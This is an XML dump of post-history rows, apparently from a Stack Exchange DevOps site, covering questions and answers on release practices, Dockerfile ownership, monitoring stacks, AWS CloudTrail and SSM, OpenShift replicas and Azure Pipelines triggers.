  <row Id="36999" PostHistoryTypeId="2" PostId="12039" RevisionGUID="1abe5c89-a038-49fb-b18f-456aff441cac" CreationDate="2020-07-21T14:54:15.463" UserId="354" Text="This question as it is posed is quite leading - the use of adjective &quot;bad&quot; to describe what you are doing implies that there is a &quot;good&quot; way. Nobody can answer whether your process is &quot;good&quot; or &quot;bad&quot; but you, and it should be judged on the effectiveness of the process. Perhaps this way of doing things _is_ good for your environment... &#xD;&#xA;&#xD;&#xA;However, what we can say is that the situation you describe goes against the principles of continuous delivery and continuous integration.&#xD;&#xA;&#xD;&#xA;For example, describing the principle of &quot;work in small batches&quot;,&#xD;&#xA;[the Continous Delivery website states](https://continuousdelivery.com/principles/#work-in-small-batches):&#xD;&#xA;&#xD;&#xA;&gt; In traditional phased approaches to software development, handoffs from dev to test or test to IT operations consist of whole releases: months worth of work by teams consisting of tens or hundreds of people.&#xD;&#xA;&#xD;&#xA;This sounds like your situation.&#xD;&#xA;&#xD;&#xA;It goes on to state:&#xD;&#xA;&#xD;&#xA;&gt; In continuous delivery, we take the opposite approach, and try and get every change in version control as far towards release as we can, getting comprehensive feedback as rapidly as possible.&#xD;&#xA;&gt; Working in small batches has many benefits. It reduces the time it takes to get feedback on our work, makes it easier to triage and remediate problems, increases efficiency and motivation, and prevents us from succumbing to the sunk cost fallacy.&#xD;&#xA;&#xD;&#xA;So, by this comparision, yes, your release management is &quot;bad&quot;, because it doesn't work in small batches, or continuously. (Again, with the caveat that any process that is executable effectively is a good process).&#xD;&#xA;&#xD;&#xA;Another widely-used reference text, the [Google Site Reliability Engineering Book](https://landing.google.com/sre/sre-book) has a [whole chapter on release engineering](https://landing.google.com/sre/sre-book/chapters/release-engineering/). It says:&#xD;&#xA;&#xD;&#xA;&gt; We have embraced the philosophy that frequent releases result in fewer changes between versions&#xD;&#xA;&#xD;&#xA;Your process seems to run counter to this statement, and though you don't specify what level if testing or canary deployments you use, one may surmise from the fact that there is no continuous integration that this is very small, if any. Therefore, by &quot;SRE logic&quot;, every new deploy is high-risk, because it contains a large amount of untested changes.&#xD;&#xA;&#xD;&#xA;There is another aspect which increases the risk in doing things &quot;your&quot; way. It is not reasonable to expect that a CAB will be able to make an informed decision on whether or not a given build should be released, without feedback on the performance or behaviour of the application in it's target environment (_i.e._ prod). They will be making decisions based on predictions and assumptions, rather than data.&#xD;&#xA;&#xD;&#xA;For all these reasons, and probably many more, I think the consensus of this community would be that the answer to your question would be &quot;yes, this is a bad way of doing release engineering&quot;.&#xD;&#xA;&#xD;&#xA;A better way would be to:&#xD;&#xA;&#xD;&#xA;1. Have a minimum of testing in place, and work on extending that with every deploy&#xD;&#xA;2. Start to automate the tests as far as possible and have clear documentation for how to test it when automation is currently infeasible.&#xD;&#xA;3. delivery artifacts continuously and run canary deploys to a test environment; work on aligning  that environment as closely as possible with the production environment&#xD;&#xA;4. Aim for the option of deploying any given build, and have a means for rolling back in the case of problems, to reduce the fear associated with deployment.&#xD;&#xA;&#xD;&#xA;Smaller, and more deployments mean smaller changes at a time, which are easier to fix, and observing the deployment procedure continuously will give better insight into its reliability and where to improve things.&#xD;&#xA;&#xD;&#xA;Automate, measure, improve. Repeat." ContentLicense="CC BY-SA 4.0" />
  <row Id="37000" PostHistoryTypeId="2" PostId="12040" RevisionGUID="f3d904e5-6d0a-4c0a-ae18-cca5a3a02a5c" CreationDate="2020-07-21T16:13:13.397" UserId="132" Text="On CloudTrail, select **Event history**, choose **Event name** from the first drop-down, and **CreateSubnet** from the second. Then fill in your timeframe. &#xD;&#xA;&#xD;&#xA;If you don't have CloudTrail enabled, you will probably be out of luck, as I don't see a timestamp field available via the EC2 API.&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-create-a-trail-using-the-console-first-time.html&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-subnets.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37005" PostHistoryTypeId="2" PostId="12042" RevisionGUID="1da8bff7-adef-4848-bcbc-689c877e69a5" CreationDate="2020-07-21T18:08:09.667" UserId="23253" Text="Once again company debate rages on who should write Docker files (including compose, interchangeable for this post).&#xD;&#xA;&#xD;&#xA;The scenario is common in my work (developer and consultant) and I wanted to know if there is a hard and fast rule for the creation and management of Docker files.  I have operated in the following three scenario:&#xD;&#xA;&#xD;&#xA;1.) Dev-ops writes and manages the Docker files&#xD;&#xA;&#xD;&#xA;Pros: they don't have surprises for production and ultimately control the final instance&#xD;&#xA;Cons: Devs are less informed on Docker/server, have to wait for certain changes or ask permission or need an ops team person to do something like add an environment variable&#xD;&#xA;&#xD;&#xA;2.) Developers write and maintain Docker files&#xD;&#xA;&#xD;&#xA;Pros: Devs keep on working, collisions and conflicts are resolved inside that team&#xD;&#xA;Cons: Dev-ops often is handed a bad or troubling Docker file for production. Dev ops also spends time fixing developer problems on the Docker file. Developers generally do not focus on security with respect to instance.&#xD;&#xA;&#xD;&#xA;3.) Hybrid approach:  Devs write the Docker file for their use in conjunction with dev-ops policy or needs.  Dev-ops bases a different production docker file on the developers working Docker file but add in secret handling, Terraform/IaC/CI+CD needs, and takes responsibility for Docker files running on instance.&#xD;&#xA;&#xD;&#xA;In this scenario dev-ops teams watched our (developer) files and used the differentials to ask questions or provide insight into changes.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;The problem I run into over and over (regarding Docker files):&#xD;&#xA;&#xD;&#xA; - Devs can't make simple changes for various reasons (scenario #1)&#xD;&#xA; - Changes by devs upset dev-ops (all scenario)&#xD;&#xA; - Dev-ops needs &quot;2 weeks notice for any change&quot; or similar unacceptable delay (scenario 1)&#xD;&#xA; - Developers spend too much time learning how to be infrastructure compliant and lose productivity (scenario 1)&#xD;&#xA; - Dev-ops get junk files (scenario2)&#xD;&#xA; - liability for security and other ops related tasks are shared between departments (much infighting when things go wrong) (problematic in all scenario)&#xD;&#xA;&#xD;&#xA;The list of experienced problems is quite long, but I hope this is enough information to establish a dialog on this topic from the professionals who handle Docker the most and take responsibility for uptime." ContentLicense="CC BY-SA 4.0" />
  <row Id="37006" PostHistoryTypeId="1" PostId="12042" RevisionGUID="1da8bff7-adef-4848-bcbc-689c877e69a5" CreationDate="2020-07-21T18:08:09.667" UserId="23253" Text="Who should write Docker files?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37007" PostHistoryTypeId="3" PostId="12042" RevisionGUID="1da8bff7-adef-4848-bcbc-689c877e69a5" CreationDate="2020-07-21T18:08:09.667" UserId="23253" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;operations&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37008" PostHistoryTypeId="5" PostId="12008" RevisionGUID="442975b1-004f-4e94-8c08-3153ccfc9c2f" CreationDate="2020-07-21T19:25:03.547" UserId="739" Comment="remove premature thanks and copy edit" Text="I just started my career as a  BA. As the first task, I have to study about operational support systems like ansible tower. I could not find any references to study about this. What are the similar operational support systems to ansible tower? Are there any references to study about them." ContentLicense="CC BY-SA 4.0" />
  <row Id="37012" PostHistoryTypeId="2" PostId="12044" RevisionGUID="08bd19f4-5868-4242-8450-84aa315fbeb9" CreationDate="2020-07-21T19:59:00.703" UserId="739" Text="The [Wikipedia definition of Operational Support System](https://en.wikipedia.org/wiki/Operations_support_system) (OSS) makes it sound like a term of art from telecommunication companies.  I haven't seen this come up in systems administration over many years of working in this area.  The top vendors in the OSS space are Ericsson, Nokia, and Huawei.  I never see those guys trying to help me manage cloud deployments, so I don't feel there's much overlap with what Ansible Tower does.&#xD;&#xA;&#xD;&#xA;Ansible Tower provides a GUI for working with the anisble configuration management tool.  While this provides similar functionality to what it seems an Operational Support System to be, I doubt Ansible Tower is being used as an OSS by anyone.  It wasn't mentioned in any of the product comparisons I googled for OSS vendors.&#xD;&#xA;&#xD;&#xA;Tools similar to Ansible Tower would be in categories like deployment tools or infrastructure visualization.  A few examples of these:&#xD;&#xA;&#xD;&#xA;* [rundeck](https://www.rundeck.com/)&#xD;&#xA;* [DeployHub](https://www.deployhub.com/)&#xD;&#xA;* [Foreman](https://www.theforeman.org/)&#xD;&#xA;&#xD;&#xA;There's also overlap with CI/CD tools.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37016" PostHistoryTypeId="2" PostId="12046" RevisionGUID="017e7e6e-7f40-45f8-9e99-5af8437133dc" CreationDate="2020-07-21T20:28:37.463" UserId="23212" Text="I lead a small project with 2 groups of servers (servers in a single group are clones with the same microservices, like pods in the k8s), a balance loader, and a DB. Docker &amp; k8s aren't used because of small scale of the project (but there are plans for migration). Instead, our cloud provider allows to set dynamic servers creation/removal depending on the load using filesystem image. This is fine for now, but there is a lack of logging and monitoring, I tried to structure the requirements:&#xD;&#xA;&#xD;&#xA;1. A dashboard with server parameters such as CPU, RAM, disk space, network, etc usage for each server. Some dashboards with such technical information are available by our provider, but a provider-independent solution is desired.&#xD;&#xA;1. A dashboard with numbers of responses by HTTP status code, for each *server group* in total and each server separately. We use NginX and it provides a status page, but it works on separate servers only.&#xD;&#xA;1. A logs analysing &amp; digging window, with support of multiline messages (like exception tracebacks).&#xD;&#xA;1. Programming language independence. Our server apps write logs to several different files with a date in filename, probably this will have to be somehow changed.&#xD;&#xA;1. Ability to set email (or even launching a shell script?) notifications with custom triggers.&#xD;&#xA;1. Maybe there are some other important features?  &#xD;&#xA;&#xD;&#xA;Additional wishes:&#xD;&#xA;&#xD;&#xA;7. Logging/monitoring setup should be free to use.&#xD;&#xA;1. Simplicity is preferred. I hope a single solution can be flexible enough to cover all the needs of logging &amp; monitoring.&#xD;&#xA;1. Solution maturity / popularity and availability of docs,examples is important.&#xD;&#xA;1. The solution should persist when migration to containers and orchestration will come.&#xD;&#xA;&#xD;&#xA;I imagine the final result to be 1) a server that accumulates all the logs, provides dashboards, and logs digging panel, and 2) a script that is installed on each server, is run by SystemD timer, and periodically sends local logs to the server. But how the script will know which exact log files are presented on the current server install, using some config? Though I can be wrong about this algorithm.&#xD;&#xA;&#xD;&#xA;I've heard about LogStash, ElasticSearch, Grafana, Kibana, Zabbix, Loki, Prometheus, etc, tried to google everything out, but found a total mess of recommendations. I'd to see modern explanations of different technologies, stacks, what software can be used together or is analog of another, and a comparison by the mentioned needs.&#xD;&#xA;I also hope that the answers will be very helpful to many other developers and beginning project leads for the topic is highly important." ContentLicense="CC BY-SA 4.0" />
  <row Id="37017" PostHistoryTypeId="1" PostId="12046" RevisionGUID="017e7e6e-7f40-45f8-9e99-5af8437133dc" CreationDate="2020-07-21T20:28:37.463" UserId="23212" Text="Logging &amp; Monitoring on multiple servers" ContentLicense="CC BY-SA 4.0" />
  <row Id="37018" PostHistoryTypeId="3" PostId="12046" RevisionGUID="017e7e6e-7f40-45f8-9e99-5af8437133dc" CreationDate="2020-07-21T20:28:37.463" UserId="23212" Text="&lt;monitoring&gt;&lt;microservices&gt;&lt;logging&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37019" PostHistoryTypeId="11" PostId="4118" RevisionGUID="f684093e-541e-4c71-a6a9-a491efa8c6c3" CreationDate="2020-07-21T21:35:16.577" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="37020" PostHistoryTypeId="2" PostId="12047" RevisionGUID="9c05a2e9-f67c-4782-ae1d-e28d313123b3" CreationDate="2020-07-22T01:52:14.230" UserId="8800" Text="Isn't *DevOps* .. you know .. *Devs* and *Ops* working together, ideally in the same team?&#xD;&#xA;&#xD;&#xA;What you refer to as *Dev-ops* in your post sounds very much like the traditional *Operations* - developers build something and hand it over to Operations for deployment. Well that's not DevOps.&#xD;&#xA;&#xD;&#xA;DevOps model is exactly the blend of these two roles. Not necessarily in one person but ideally in one team. Some people in the team write the actual code and tests, some maintain CI/CD pipelines, some write packaging / build / Docker files, some look after deployment. All the above ideally driven by CI/CD so that most people in the team can focus on writing code and building, packaging, testing, and deployment happens automatically.&#xD;&#xA;&#xD;&#xA;In our team the Dockerfiles are in the same repo as the software sources we work on and any developer can update it if needed (through a PR of course). The deployment files (AWS CloudFormation, Terraform, etc) are in another repo and again anyone can update these through a PR. Once any change (source, Dockerfile, CloudFormation, ...) is committed and pushed to git it automatically builds and deploys to Dev environment.&#xD;&#xA;&#xD;&#xA;Single click in the CI/CD interface can then promote it to Test and another click to Qual and then to Prod.&#xD;&#xA;&#xD;&#xA;**TL;DR** What you describe is not *DevOps* but instead a traditional *Dev* and traditional *Ops* fighting each other ;)" ContentLicense="CC BY-SA 4.0" />
  <row Id="37021" PostHistoryTypeId="5" PostId="5099" RevisionGUID="1694c20d-645c-4b16-ad67-5ec55eeeff3f" CreationDate="2020-07-22T04:57:17.673" UserId="-1" Comment="Remove condescending intro." Text="The purpose of the `AssumeRolePolicyDocument` is to contain the trust relationship policy that grants an entity permission to assume the role.&#xD;&#xA;&#xD;&#xA;In your example it's granting the Lambda service the ability to assume &#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA;[https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-role.html][1]&#xD;&#xA;&#xD;&#xA;[https://docs.aws.amazon.com/cli/latest/reference/iam/create-role.html][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-role.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/cli/latest/reference/iam/create-role.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37022" PostHistoryTypeId="24" PostId="5099" RevisionGUID="1694c20d-645c-4b16-ad67-5ec55eeeff3f" CreationDate="2020-07-22T04:57:17.673" Comment="Proposed by 54.239.6.185|6c2189e6-a16d-4a86-8eaa-505cfc773b25 approved by 354, 40 edit id of 1257" ContentLicense="CC BY-SA 4.0" />
  <row Id="37025" PostHistoryTypeId="5" PostId="12047" RevisionGUID="ce3fb302-49d2-4d40-86de-01c547293ec9" CreationDate="2020-07-22T05:36:54.110" UserId="8800" Comment="deleted 3 characters in body" Text="Isn't *DevOps* .. you know .. *Devs* and *Ops* working together, ideally in the same team?&#xD;&#xA;&#xD;&#xA;What you refer to as *Dev-ops* in your post sounds very much like the traditional *Operations* - developers build something and hand it over to Operations for deployment. Well that's not DevOps.&#xD;&#xA;&#xD;&#xA;DevOps model is exactly the blend of these two roles. Not necessarily in one person but ideally in one team. Some people in the team write the actual code and tests, some maintain CI/CD pipelines, some write packaging / build / Docker files, some look after deployment. All the above ideally driven by CI/CD so that most people in the team can focus on writing code. Building, packaging, testing, and deployment happens automatically.&#xD;&#xA;&#xD;&#xA;In our team the Dockerfiles are in the same repo as the software sources we work on and any developer can update it if needed (through a PR of course). The deployment files (AWS CloudFormation, Terraform, etc) are in another repo and again anyone can update these through a PR. Once any change (source, Dockerfile, CloudFormation, ...) is committed and pushed to git it automatically builds and deploys to Dev environment.&#xD;&#xA;&#xD;&#xA;Single click in the CI/CD interface can then promote it to Test and another click to Qual and then to Prod.&#xD;&#xA;&#xD;&#xA;**TL;DR** What you describe is not *DevOps* but instead a traditional *Dev* and traditional *Ops* fighting each other ;)" ContentLicense="CC BY-SA 4.0" />
  <row Id="37030" PostHistoryTypeId="2" PostId="12049" RevisionGUID="45be052f-5e4a-4b04-98f0-d20ac3242818" CreationDate="2020-07-22T07:43:10.237" UserId="23150" Text="I have a statefulset with an init container which creates openshift objects upon scaling. I need to pass it the replicas number from the same yaml definition. &#xA;However the replicas filed doesn't seem to be working with fieldRef. Is there another way to do it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37031" PostHistoryTypeId="1" PostId="12049" RevisionGUID="45be052f-5e4a-4b04-98f0-d20ac3242818" CreationDate="2020-07-22T07:43:10.237" UserId="23150" Text="Passing replicas number into container" ContentLicense="CC BY-SA 4.0" />
  <row Id="37032" PostHistoryTypeId="3" PostId="12049" RevisionGUID="45be052f-5e4a-4b04-98f0-d20ac3242818" CreationDate="2020-07-22T07:43:10.237" UserId="23150" Text="&lt;yaml&gt;&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37036" PostHistoryTypeId="2" PostId="12051" RevisionGUID="53e11ba0-b554-44a0-bb0a-d6e9c278500d" CreationDate="2020-07-22T09:01:01.810" UserId="10769" Text="Are you sure that your registry is publicly available?&#xD;&#xA;Checklist:&#xD;&#xA;&#xD;&#xA; - Check if the domain is reachable and responding the right IP address -- `nslookup myregistry`&#xD;&#xA; - Check if your port is open or not blocked any kind of software (let's say via firewalls or AWS security group) -- `telnet myregistry 5050`&#xD;&#xA; - Check if your registry is not restricted for a particular CIDR of IP&#xD;&#xA; - Test your login locally and ensure that there is no problem with it" ContentLicense="CC BY-SA 4.0" />
  <row Id="37037" PostHistoryTypeId="2" PostId="12052" RevisionGUID="9bc07f52-41de-4389-b65f-8c732f66b056" CreationDate="2020-07-22T09:04:32.790" UserId="10769" Text="Define the number of replicas in the `values.yaml` and pass it through it anywhere in resources" ContentLicense="CC BY-SA 4.0" />
  <row Id="37038" PostHistoryTypeId="5" PostId="12052" RevisionGUID="6d0f1b27-26e1-4ee6-9571-a0eabefc3221" CreationDate="2020-07-22T10:50:27.767" UserId="10769" Comment="deleted 11 characters in body; added 14 characters in body" Text="Define the number of replicas in the `values.yaml` and pass it anywhere in resources (statefulset)" ContentLicense="CC BY-SA 4.0" />
  <row Id="37044" PostHistoryTypeId="5" PostId="12042" RevisionGUID="a82bfbaa-f48a-493b-abee-c533843d6930" CreationDate="2020-07-22T18:19:40.810" UserId="23253" Comment="update response and clarificaion" Text="Once again company debate rages on who should write Docker files (including compose, interchangeable for this post).&#xD;&#xA;&#xD;&#xA;The scenario is common in my work (developer and consultant) and I wanted to know if there is a hard and fast rule for the creation and management of Docker files.  I have operated in the following three scenario:&#xD;&#xA;&#xD;&#xA;1.) Dev-ops writes and manages the Docker files&#xD;&#xA;&#xD;&#xA;Pros: they don't have surprises for production and ultimately control the final instance&#xD;&#xA;Cons: Devs are less informed on Docker/server, have to wait for certain changes or ask permission or need an ops team person to do something like add an environment variable&#xD;&#xA;&#xD;&#xA;2.) Developers write and maintain Docker files&#xD;&#xA;&#xD;&#xA;Pros: Devs keep on working, collisions and conflicts are resolved inside that team&#xD;&#xA;Cons: Dev-ops often is handed a bad or troubling Docker file for production. Dev ops also spends time fixing developer problems on the Docker file. Developers generally do not focus on security with respect to instance.&#xD;&#xA;&#xD;&#xA;3.) Hybrid approach:  Devs write the Docker file for their use in conjunction with dev-ops policy or needs.  Dev-ops bases a different production docker file on the developers working Docker file but add in secret handling, Terraform/IaC/CI+CD needs, and takes responsibility for Docker files running on instance.&#xD;&#xA;&#xD;&#xA;In this scenario dev-ops teams watched our (developer) files and used the differentials to ask questions or provide insight into changes.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;The problem I run into over and over (regarding Docker files):&#xD;&#xA;&#xD;&#xA; - Devs can't make simple changes for various reasons (scenario #1)&#xD;&#xA; - Changes by devs upset dev-ops (all scenario)&#xD;&#xA; - Dev-ops needs &quot;2 weeks notice for any change&quot; or similar unacceptable delay (scenario 1)&#xD;&#xA; - Developers spend too much time learning how to be infrastructure compliant and lose productivity (scenario 1)&#xD;&#xA; - Dev-ops get junk files (scenario2)&#xD;&#xA; - liability for security and other ops related tasks are shared between departments (much infighting when things go wrong) (problematic in all scenario)&#xD;&#xA;&#xD;&#xA;The list of experienced problems is quite long, but I hope this is enough information to establish a dialog on this topic from the professionals who handle Docker the most and take responsibility for uptime.&#xD;&#xA;&#xD;&#xA;**23July Responding to @MLu:**&#xD;&#xA;&#xD;&#xA;Dev ops is &quot;Developer Operations&quot;, as in the deploy and infra side of things. &quot;Working together&quot; always happens, but these are two distinct career paths and domain of expertise (developer and operations).  As the Wikipedia entry underscores my view, there is note regarding context dependence on the paradigm. Dev writes the code, Ops puts to instance, in the middle there is collaboration.  So I don't agree at all that &quot;DevOps model is exactly the blend of these two roles.&quot;, not in my 17 years on many teams.&#xD;&#xA;&#xD;&#xA;One of the teams was considered &quot;SRE&quot; while another liked &quot;Devops&quot;, and another &quot;Infra (not even answering people who use devops)&quot;.  Each team had their own ideas but the same problems in the end servicing the development aspect of projects.&#xD;&#xA;&#xD;&#xA;Development and &quot;Ops&quot; as in CI/CD need to work together, but for some reason only these &quot;ops&quot; teams in all scenario were the acknowledged pain point.  Why is this so common? &#xD;&#xA;&#xD;&#xA;If DevOps is born of developer practices (agile, reliance on SCM, DRY, etc) and usually staffed by a high percentage of ex-developers why is the staffing diaspora in build/ship/pipeline generally slow to react or respond, require long lead time, and are generally the most common blocker on projects.  I question the ivory castle declarations from these ops teams. When a team is overloaded, under performing, and diverges from established norms then the (the dogma of) &quot;X needs to do the Y&quot; could be a solution or grasping at straws?&#xD;&#xA;&#xD;&#xA;I do agree with @MLu's commentary on management of Docker files via PR and other approaches outlined. I read the response as a hybrid approach that I prefer. &#xD;&#xA;&#xD;&#xA;Frustration is rooted in a few projects where I was &quot;Devops&quot; and we had cloud based products with complicated CI/CD and other operations. Yet we never had devops problems. As soon as a dedicated team handles these elements things would slow down, uptime suffered, and the product release cycle was more stressful.  A cadre of us are discussing alternatives to the current paradigms because we are repeating the same problem over and over, both in an org and across different jobs." ContentLicense="CC BY-SA 4.0" />
  <row Id="37048" PostHistoryTypeId="2" PostId="12055" RevisionGUID="60ed3458-d026-4d45-a3d7-1e8b537a83e2" CreationDate="2020-07-22T20:41:25.573" UserId="23273" Text="I didn't find anything on AWS or boto3 docs that allows for that, but I was able to execute as a different user using the `runuser` command. In theory, you could do the same thing with a combination of `sudo` and `su` commands, but this one is pretty simpler. &#xD;&#xA;&#xD;&#xA;For that, you can do as follows:&#xD;&#xA;&#xD;&#xA;    runuser -l  userNameHere -c '/path/to/command arg1 arg2'&#xD;&#xA;&#xD;&#xA;Since send-command executes as root, you don't have any issues.&#xD;&#xA;&#xD;&#xA;Sources:&#xD;&#xA;&#xD;&#xA; - https://man7.org/linux/man-pages/man1/runuser.1.html&#xD;&#xA; - https://www.cyberciti.biz/open-source/command-line-hacks/linux-run-command-as-different-user/&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37052" PostHistoryTypeId="5" PostId="12055" RevisionGUID="363735fd-fe08-4186-86c1-826a7def6ec8" CreationDate="2020-07-22T20:50:44.047" UserId="23273" Comment="added 497 characters in body" Text="I didn't find anything on AWS or boto3 docs that allows for that, but I was able to execute as a different user using the `runuser` command. In theory, you could do the same thing with a combination of `sudo` and `su` commands, but this one is pretty simpler. &#xD;&#xA;&#xD;&#xA;For that, you can do as follows:&#xD;&#xA;&#xD;&#xA;    runuser -l  userNameHere -c '/path/to/command arg1 arg2'&#xD;&#xA;&#xD;&#xA;Since send-command executes as root, you don't have any issues.&#xD;&#xA;&#xD;&#xA;**Note:** I thought that send-command uses in some way a session managed by the *SSM Session Manager*, but I was wrong. I spent a good time configuring *SSM Session Manager* preferences and tagging IAM resources according to [this doc][1] and [this one][2], but send-command always execute as root as far I saw. &#xD;&#xA;&#xD;&#xA;Sources:&#xD;&#xA;&#xD;&#xA; - https://man7.org/linux/man-pages/man1/runuser.1.html&#xD;&#xA; - https://www.cyberciti.biz/open-source/command-line-hacks/linux-run-command-as-different-user/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/systems-manager/latest/userguide/session-preferences-run-as.html&#xD;&#xA;  [2]: https://reinvent2019.aws-management.tools/mgt406/en/optional/step5.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37053" PostHistoryTypeId="2" PostId="12057" RevisionGUID="82c4b99d-e1fb-4312-aabe-846534805965" CreationDate="2020-07-22T20:57:21.400" UserId="23241" Text="I'm attempting to build different branches with different YAML configuration files in each branch. However, when I commit to a branch that should only trigger 1 pipeline it triggers both.&#xD;&#xA;&#xD;&#xA;[![Project Pipelines][1]][1]&#xD;&#xA;&#xD;&#xA;Development YAML:&#xD;&#xA;&#xD;&#xA;        trigger:&#xD;&#xA;        - master_Development&#xD;&#xA;        &#xD;&#xA;        pool:&#xD;&#xA;          vmImage: 'windows-latest'&#xD;&#xA;        &#xD;&#xA;        variables:&#xD;&#xA;          solution: '**/*.sln'&#xD;&#xA;          buildPlatform: 'Any CPU'&#xD;&#xA;          buildConfiguration: 'Release'&#xD;&#xA;          buildPackageDirectory: 'packages'&#xD;&#xA;          nugetConfig: 'SW.Api.Net/nuget.config'&#xD;&#xA;        &#xD;&#xA;        steps:&#xD;&#xA;        &#xD;&#xA;        - task: NuGetToolInstaller@0&#xD;&#xA;          displayName: 'Use NuGet 4.4.1'&#xD;&#xA;          inputs:&#xD;&#xA;            versionSpec: 4.4.1&#xD;&#xA;        &#xD;&#xA;        - task: NuGetCommand@2&#xD;&#xA;          displayName: 'NuGet restore'&#xD;&#xA;          inputs:&#xD;&#xA;            restoreSolution: $(solution)&#xD;&#xA;            feedsToUse: config&#xD;&#xA;            nugetConfigPath: $(nugetConfig)&#xD;&#xA;            externalFeedCredentials: TelerikFeed&#xD;&#xA;            restoreDirectory: $(buildPackageDirectory)&#xD;&#xA;        &#xD;&#xA;        - task: VSBuild@1&#xD;&#xA;          displayName: 'Build solution'&#xD;&#xA;          inputs:&#xD;&#xA;            solution: $(solution)&#xD;&#xA;            msbuildArgs: '/p:DeployOnBuild=true /p:WebPublishMethod=Package /p:PackageAsSingleFile=true /p:SkipInvalidConfigurations=true /p:PackageLocation=&quot;$(build.artifactStagingDirectory)\\&quot;'&#xD;&#xA;            platform: $(buildPlatform)&#xD;&#xA;            configuration: $(buildConfiguration)&#xD;&#xA;        &#xD;&#xA;        - task: VSTest@2&#xD;&#xA;          displayName: 'Test Assemblies'&#xD;&#xA;          inputs:&#xD;&#xA;            testFiltercriteria: 'TestCategory=Unit Test'&#xD;&#xA;            platform: $(buildPlatform)&#xD;&#xA;            configuration: $(buildConfiguration)&#xD;&#xA;        &#xD;&#xA;        - task: PublishBuildArtifacts@1&#xD;&#xA;          displayName: 'Publish Artifact: drop'&#xD;&#xA;          inputs:&#xD;&#xA;            PathToPublish: $(build.artifactStagingDirectory)&#xD;&#xA;            ArtifactName: 'drop'&#xD;&#xA;          condition: succeededOrFailed()&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Production YAML:&#xD;&#xA;    &#xD;&#xA;    trigger:&#xD;&#xA;    - master&#xD;&#xA;    &#xD;&#xA;    pool:&#xD;&#xA;      vmImage: 'windows-latest'&#xD;&#xA;    &#xD;&#xA;    variables:&#xD;&#xA;      solution: '**/*.sln'&#xD;&#xA;      buildPlatform: 'Any CPU'&#xD;&#xA;      buildConfiguration: 'Release'&#xD;&#xA;      buildPackageDirectory: 'packages'&#xD;&#xA;      nugetConfig: 'SW.Api.Net/nuget.config'&#xD;&#xA;    &#xD;&#xA;    steps:&#xD;&#xA;    &#xD;&#xA;    - task: NuGetToolInstaller@0&#xD;&#xA;      displayName: 'Use NuGet 4.4.1'&#xD;&#xA;      inputs:&#xD;&#xA;        versionSpec: 4.4.1&#xD;&#xA;    &#xD;&#xA;    - task: NuGetCommand@2&#xD;&#xA;      displayName: 'NuGet restore'&#xD;&#xA;      inputs:&#xD;&#xA;        restoreSolution: $(solution)&#xD;&#xA;        feedsToUse: config&#xD;&#xA;        nugetConfigPath: $(nugetConfig)&#xD;&#xA;        externalFeedCredentials: TelerikFeed&#xD;&#xA;        restoreDirectory: $(buildPackageDirectory)&#xD;&#xA;    &#xD;&#xA;    - task: VSBuild@1&#xD;&#xA;      displayName: 'Build solution'&#xD;&#xA;      inputs:&#xD;&#xA;        solution: $(solution)&#xD;&#xA;        msbuildArgs: '/p:DeployOnBuild=true /p:WebPublishMethod=Package /p:PackageAsSingleFile=true /p:SkipInvalidConfigurations=true /p:PackageLocation=&quot;$(build.artifactStagingDirectory)\\&quot;'&#xD;&#xA;        platform: $(buildPlatform)&#xD;&#xA;        configuration: $(buildConfiguration)&#xD;&#xA;    &#xD;&#xA;    - task: VSTest@2&#xD;&#xA;      displayName: 'Test Assemblies'&#xD;&#xA;      inputs:&#xD;&#xA;        testFiltercriteria: 'TestCategory=Unit Test'&#xD;&#xA;        platform: $(buildPlatform)&#xD;&#xA;        configuration: $(buildConfiguration)&#xD;&#xA;    &#xD;&#xA;    - task: PublishBuildArtifacts@1&#xD;&#xA;      displayName: 'Publish Artifact: drop'&#xD;&#xA;      inputs:&#xD;&#xA;        PathToPublish: $(build.artifactStagingDirectory)&#xD;&#xA;        ArtifactName: 'drop'&#xD;&#xA;      condition: succeededOrFailed()&#xD;&#xA;&#xD;&#xA;  Why would the pipelines not be separately triggering they target different branches?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Gqbn1.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="37054" PostHistoryTypeId="1" PostId="12057" RevisionGUID="82c4b99d-e1fb-4312-aabe-846534805965" CreationDate="2020-07-22T20:57:21.400" UserId="23241" Text="Azure DevOps Pipelines running on incorrect branches" ContentLicense="CC BY-SA 4.0" />
  <row Id="37055" PostHistoryTypeId="3" PostId="12057" RevisionGUID="82c4b99d-e1fb-4312-aabe-846534805965" CreationDate="2020-07-22T20:57:21.400" UserId="23241" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
